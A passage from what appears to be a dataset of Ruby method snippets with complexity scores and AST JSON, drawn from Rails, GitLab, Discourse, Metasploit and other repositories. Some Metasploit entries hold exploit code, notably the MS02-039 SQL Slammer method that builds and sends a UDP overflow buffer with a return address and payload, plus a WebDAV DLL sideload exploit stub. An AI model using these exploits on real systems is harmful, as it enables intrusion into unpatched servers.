\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"bow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d. %B %Y\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"lvar\",\"children\":[\"eow\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%d. %B %Y\"]}]}]}]}]},\"join\",{\"type\":\"str\",\"children\":[\" - \"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"month\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"l\",{\"type\":\"send\",\"children\":[null,\"date\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"str\",\"children\":[\"%B %Y\"]}]}]}]}]},null]}]}","id":"5a7676d4-1cf3-47ec-a73d-7736fb1e1427"} {"repo_name":"forem","file_path":"./repos/forem/app/sanitizers/rendered_markdown_scrubber.rb","start_line":3,"raw_source":"def initialize\n super\n\n self.tags = MarkdownProcessor::AllowedTags::RENDERED_MARKDOWN_SCRUBBER\n\n self.attributes = MarkdownProcessor::AllowedAttributes::RENDERED_MARKDOWN_SCRUBBER\n end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"tags=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MarkdownProcessor\"]},\"AllowedTags\"]},\"RENDERED_MARKDOWN_SCRUBBER\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"attributes=\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MarkdownProcessor\"]},\"AllowedAttributes\"]},\"RENDERED_MARKDOWN_SCRUBBER\"]}]}]}]}","id":"c8984f5f-794b-4a08-a63e-2610e40d6c94"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/ddf.rb","start_line":2,"raw_source":"def self.traverse(schema, &block)\n recurse = ->(item) { traverse(item, &block) }\n\n if schema.kind_of?(Array)\n schema.each(&recurse)\n elsif schema.kind_of?(Hash)\n yield(schema)\n schema.try(:[], :fields).try(:each, &recurse)\n end\n end","complexity_score":16.6,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"traverse\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"schema\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"recurse\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"item\"]}]},{\"type\":\"send\",\"children\":[null,\"traverse\",{\"type\":\"lvar\",\"children\":[\"item\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Array\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"each\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurse\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"kind_of?\",{\"type\":\"const\",\"children\":[null,\"Hash\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"schema\"]},\"try\",{\"type\":\"sym\",\"children\":[\"[]\"]},{\"type\":\"sym\",\"children\":[\"fields\"]}]},\"try\",{\"type\":\"sym\",\"children\":[\"each\"]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"recurse\"]}]}]}]},null]}]}]}]}","id":"02d5d8bd-99ba-48ce-82af-b4134ad0b11b"} {"repo_name":"openproject","file_path":"./repos/openproject/app/contracts/attachments/validate_replacements.rb","start_line":43,"raw_source":"def validate_attachments_replacements\n model.attachments_replacements&.each do |attachment|\n error_if_attachment_assigned(attachment)\n error_if_other_user_attachment(attachment)\n end\n end","complexity_score":7.2,"ast_json":"{\"type\":\"def\",\"children\":[\"validate_attachments_replacements\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"attachments_replacements\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attachment\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"error_if_attachment_assigned\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]},{\"type\":\"send\",\"children\":[null,\"error_if_other_user_attachment\",{\"type\":\"lvar\",\"children\":[\"attachment\"]}]}]}]}]}","id":"9c837c82-b22b-4def-aef4-1e95ca0a8b7d"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/ui/console/command_dispatcher/modules.rb","start_line":1155,"raw_source":"def favorite_add(modules, favs_file)\n fav_limit = 50\n # obtain useful info about the fav_modules file\n exists, writable, readable, contents = favorite_check_fav_modules(favs_file)\n\n # if the fav_modules file exists, check the file permissions\n if exists\n case\n when !writable\n print_error(\"Unable to save module(s) to the favorite modules file because it is not writable\")\n return\n when !readable\n print_error(\"Unable to save module(s) to the favorite modules file because it is not readable\")\n return\n end\n end\n\n fav_count = 0\n if contents\n fav_count = contents.split.size\n end\n\n modules = modules.uniq # prevent modules from being added more than once\n modules.each do |name|\n mod = framework.modules.create(name)\n if (mod == nil)\n print_error(\"Invalid module: #{name}\")\n next\n end\n\n if contents && contents.include?(mod.fullname)\n print_warning(\"Module #{mod.fullname} has already been favorited and will not be added to the favorite modules file\")\n next\n end\n\n if fav_count >= fav_limit\n print_error(\"Favorite module limit (#{fav_limit}) exceeded. No more modules will be added.\")\n return\n end\n\n File.open(favs_file, 'a+') { |file| file.puts(mod.fullname) }\n print_good(\"Added #{mod.fullname} to the favorite modules file\")\n fav_count += 1\n end\n return\n end","complexity_score":58.2,"ast_json":"{\"type\":\"def\",\"children\":[\"favorite_add\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"modules\"]},{\"type\":\"arg\",\"children\":[\"favs_file\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fav_limit\",{\"type\":\"int\",\"children\":[50]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"exists\"]},{\"type\":\"lvasgn\",\"children\":[\"writable\"]},{\"type\":\"lvasgn\",\"children\":[\"readable\"]},{\"type\":\"lvasgn\",\"children\":[\"contents\"]}]},{\"type\":\"send\",\"children\":[null,\"favorite_check_fav_modules\",{\"type\":\"lvar\",\"children\":[\"favs_file\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"exists\"]},{\"type\":\"case\",\"children\":[null,{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"writable\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to save module(s) to the favorite modules file because it is not writable\"]}]},{\"type\":\"return\",\"children\":[]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"readable\"]},\"!\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Unable to save module(s) to the favorite modules file because it is not readable\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]},null]},{\"type\":\"lvasgn\",\"children\":[\"fav_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"lvasgn\",\"children\":[\"fav_count\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"split\"]},\"size\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"modules\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modules\"]},\"uniq\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"modules\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mod\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"framework\"]},\"modules\"]},\"create\",{\"type\":\"lvar\",\"children\":[\"name\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"==\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid module: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]}]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"contents\"]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Module \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" has already been favorited and will not be added to the favorite modules file\"]}]}]},{\"type\":\"next\",\"children\":[]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fav_count\"]},\">=\",{\"type\":\"lvar\",\"children\":[\"fav_limit\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Favorite module limit (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"fav_limit\"]}]},{\"type\":\"str\",\"children\":[\") exceeded. No more modules will be added.\"]}]}]},{\"type\":\"return\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"open\",{\"type\":\"lvar\",\"children\":[\"favs_file\"]},{\"type\":\"str\",\"children\":[\"a+\"]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Added \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mod\"]},\"fullname\"]}]},{\"type\":\"str\",\"children\":[\" to the favorite modules file\"]}]}]},{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fav_count\"]},\"+\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"return\",\"children\":[]}]}]}","id":"1e92eede-2ebe-451d-b007-425310753e0d"} {"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/projects/data_transfer.rb","start_line":29,"raw_source":"def self.beginning_of_month(time = Time.current)\n time.utc.beginning_of_month\n end","complexity_score":4.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"beginning_of_month\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"time\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"current\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"time\"]},\"utc\"]},\"beginning_of_month\"]}]}","id":"7167b7cc-11f3-4c6a-8ffd-702b01156694"} {"repo_name":"spree","file_path":"./repos/spree/core/app/models/concerns/spree/user_roles.rb","start_line":44,"raw_source":"def has_spree_role?(role_name, resource = nil)\n resource ||= Spree::Store.current\n\n role_users.where(resource: resource).joins(:role).where(Spree::Role.table_name => { name: role_name }).exists?\n end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"has_spree_role?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"role_name\"]},{\"type\":\"optarg\",\"children\":[\"resource\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"resource\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Store\"]},\"current\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"role_users\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"resource\"]},{\"type\":\"lvar\",\"children\":[\"resource\"]}]}]}]},\"joins\",{\"type\":\"sym\",\"children\":[\"role\"]}]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spree\"]},\"Role\"]},\"table_name\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"role_name\"]}]}]}]}]}]},\"exists?\"]}]}]}","id":"28835fc3-1592-418d-ac73-3dc65f607939"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/validator.rb","start_line":72,"raw_source":"def dispatch(type, data)\n send(\"validate_#{type}!\", data)\n rescue NoMethodError => e\n raise Fluent::Counter::InternalServerError.new(e)\n end","complexity_score":7.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dispatch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"type\"]},{\"type\":\"arg\",\"children\":[\"data\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[null,\"send\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"validate_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"type\"]}]},{\"type\":\"str\",\"children\":[\"!\"]}]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"NoMethodError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fluent\"]},\"Counter\"]},\"InternalServerError\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"e\"]}]}]}]},null]}]}","id":"a3c33137-35da-40b8-91ed-cf99b495ace0"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/exploit/remote/smb/client/psexec_ms17_010.rb","start_line":1157,"raw_source":"def reset_extra_multiplex_id()\n @@special_mid = (next_multiplex_id() & 0xff00) - 0x100\n @@extra_last_mid = @@special_mid\n end","complexity_score":4.25,"ast_json":"{\"type\":\"def\",\"children\":[\"reset_extra_multiplex_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"cvasgn\",\"children\":[\"@@special_mid\",{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"next_multiplex_id\"]},\"&\",{\"type\":\"int\",\"children\":[65280]}]}]},\"-\",{\"type\":\"int\",\"children\":[256]}]}]},{\"type\":\"cvasgn\",\"children\":[\"@@extra_last_mid\",{\"type\":\"cvar\",\"children\":[\"@@special_mid\"]}]}]}]}","id":"dc75e469-d281-41c6-92be-625c772b1a37"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/mssql/ms02_039_slammer.rb","start_line":78,"raw_source":"def exploit\n connect_udp\n print_status(sprintf(\"Sending UDP packet with return address 0x%.8x\", target.ret))\n print_status(\"Execute 'net start sqlserveragent' once access is obtained\");\n\n # \\x68:888 => push dword 0x3838383a\n buf = \"\\x04\" + rand_text_english(800, payload_badchars) + \"\\x68:888\"\n\n # Return to the stack pointer\n buf[97, 4] = [target.ret].pack('V')\n\n # Which lands right here\n buf[101, 6] = make_nops(6)\n\n # Jumps 8 bytes ahead\n buf[107, 2] = \"\\xeb\\x08\"\n\n # Write to thread storage space to avoid a crash\n buf[109, 8] = [0x7ffde0cc, 0x7ffde0cc].pack('VV')\n\n # And finally into the payload\n buf[117, payload.encoded.length] = payload.encoded\n\n udp_sock.put(buf)\n\n disconnect_udp\n handler\n end","complexity_score":37.55,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"int\",\"children\":[109]},{\"type\":\"int\",\"children\":[8]},{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"int\",\"children\":[2147344588]},{\"type\":\"int\",\"children\":[2147344588]}]},\"pack\",{\"type\":\"str\",\"children\":[\"VV\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"buf\"]},\"[]=\",{\"type\":\"int\",\"children\":[117]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]},\"length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"udp_sock\"]},\"put\",{\"type\":\"lvar\",\"children\":[\"buf\"]}]},{\"type\":\"send\",\"children\":[null,\"disconnect_udp\"]},{\"type\":\"send\",\"children\":[null,\"handler\"]}]}]}","id":"daa7ebfd-76d4-4e0f-bbac-b8400d010349"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/batches_test.rb","start_line":278,"raw_source":"def test_find_in_batches_should_return_an_enumerator\n enum = nil\n assert_no_queries do\n enum = Post.find_in_batches(batch_size: 1)\n end\n assert_queries_count(4) do\n enum.first(4) do |batch|\n assert_kind_of Array, batch\n assert_kind_of Post, batch.first\n end\n end\n end","complexity_score":14.45,"ast_json":"{\"type\":\"def\",\"children\":[\"test_find_in_batches_should_return_an_enumerator\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"enum\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_no_queries\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvasgn\",\"children\":[\"enum\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"find_in_batches\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"batch_size\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_queries_count\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"enum\"]},\"first\",{\"type\":\"int\",\"children\":[4]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"lvar\",\"children\":[\"batch\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_kind_of\",{\"type\":\"const\",\"children\":[null,\"Post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"first\"]}]}]}]}]}]}]}","id":"974ee684-b6b4-4459-bc4f-12892a3f522c"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/fixtures.rb","start_line":706,"raw_source":"def update_all_loaded_fixtures(fixtures_map) # :nodoc:\n all_loaded_fixtures.update(fixtures_map)\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"update_all_loaded_fixtures\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"fixtures_map\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_loaded_fixtures\"]},\"update\",{\"type\":\"lvar\",\"children\":[\"fixtures_map\"]}]}]}","id":"e3e1ae0e-1200-4f12-b80e-db508eab1be1"} {"repo_name":"discourse","file_path":"./repos/discourse/migrations/lib/importer/steps/badge_groupings.rb","start_line":44,"raw_source":"def transform_row(row)\n if (existing_id = @ids_by_name[row[:name].downcase])\n row[:id] = existing_id\n\n return nil\n end\n\n name = row[:name]\n description = row[:description]\n\n row[:name] = name[0, MAX_NAME_LENGTH] if name.length > MAX_NAME_LENGTH\n if description && description.length > MAX_DESCRIPTION_LENGTH\n row[:description] = description[0, MAX_DESCRIPTION_LENGTH]\n end\n row[:position] = @max_position + row[:normalized_position]\n\n super\n end","complexity_score":26.0,"ast_json":"{\"type\":\"def\",\"children\":[\"transform_row\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"row\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"existing_id\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@ids_by_name\"]},\"[]\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]},\"downcase\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"lvar\",\"children\":[\"existing_id\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"nil\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"name\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"name\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"description\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"description\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_NAME_LENGTH\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"name\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[null,\"MAX_NAME_LENGTH\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},\"length\"]},\">\",{\"type\":\"const\",\"children\":[null,\"MAX_DESCRIPTION_LENGTH\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"description\"]},\"[]\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"const\",\"children\":[null,\"MAX_DESCRIPTION_LENGTH\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"position\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@max_position\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"row\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"normalized_position\"]}]}]}]},{\"type\":\"zsuper\",\"children\":[]}]}]}","id":"1b92ed56-0ef0-4570-892e-5bbd2e5c1f2a"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/windows/misc/vmhgfs_webdav_dll_sideload.rb","start_line":342,"raw_source":"def exploit\n myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address('50.50.50.50') : datastore['SRVHOST']\n\n @exploit_unc = \"\\\\\\\\#{myhost}\\\\\"\n\n if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/'\n fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/')\n end\n\n print_status(\"Files are available at #{@exploit_unc}#{datastore['SHARENAME']}\")\n\n super\n end","complexity_score":26.63,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"myhost\",{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"0.0.0.0\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Socket\"]},\"source_address\",{\"type\":\"str\",\"children\":[\"50.50.50.50\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVHOST\"]}]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@exploit_unc\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\\\\\\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"myhost\"]}]},{\"type\":\"str\",\"children\":[\"\\\\\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SRVPORT\"]}]},\"to_i\"]},\"!=\",{\"type\":\"int\",\"children\":[80]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URIPATH\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"Unknown\"]},{\"type\":\"str\",\"children\":[\"Using WebDAV requires SRVPORT=80 and URIPATH=/\"]}]},null]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Files are available at 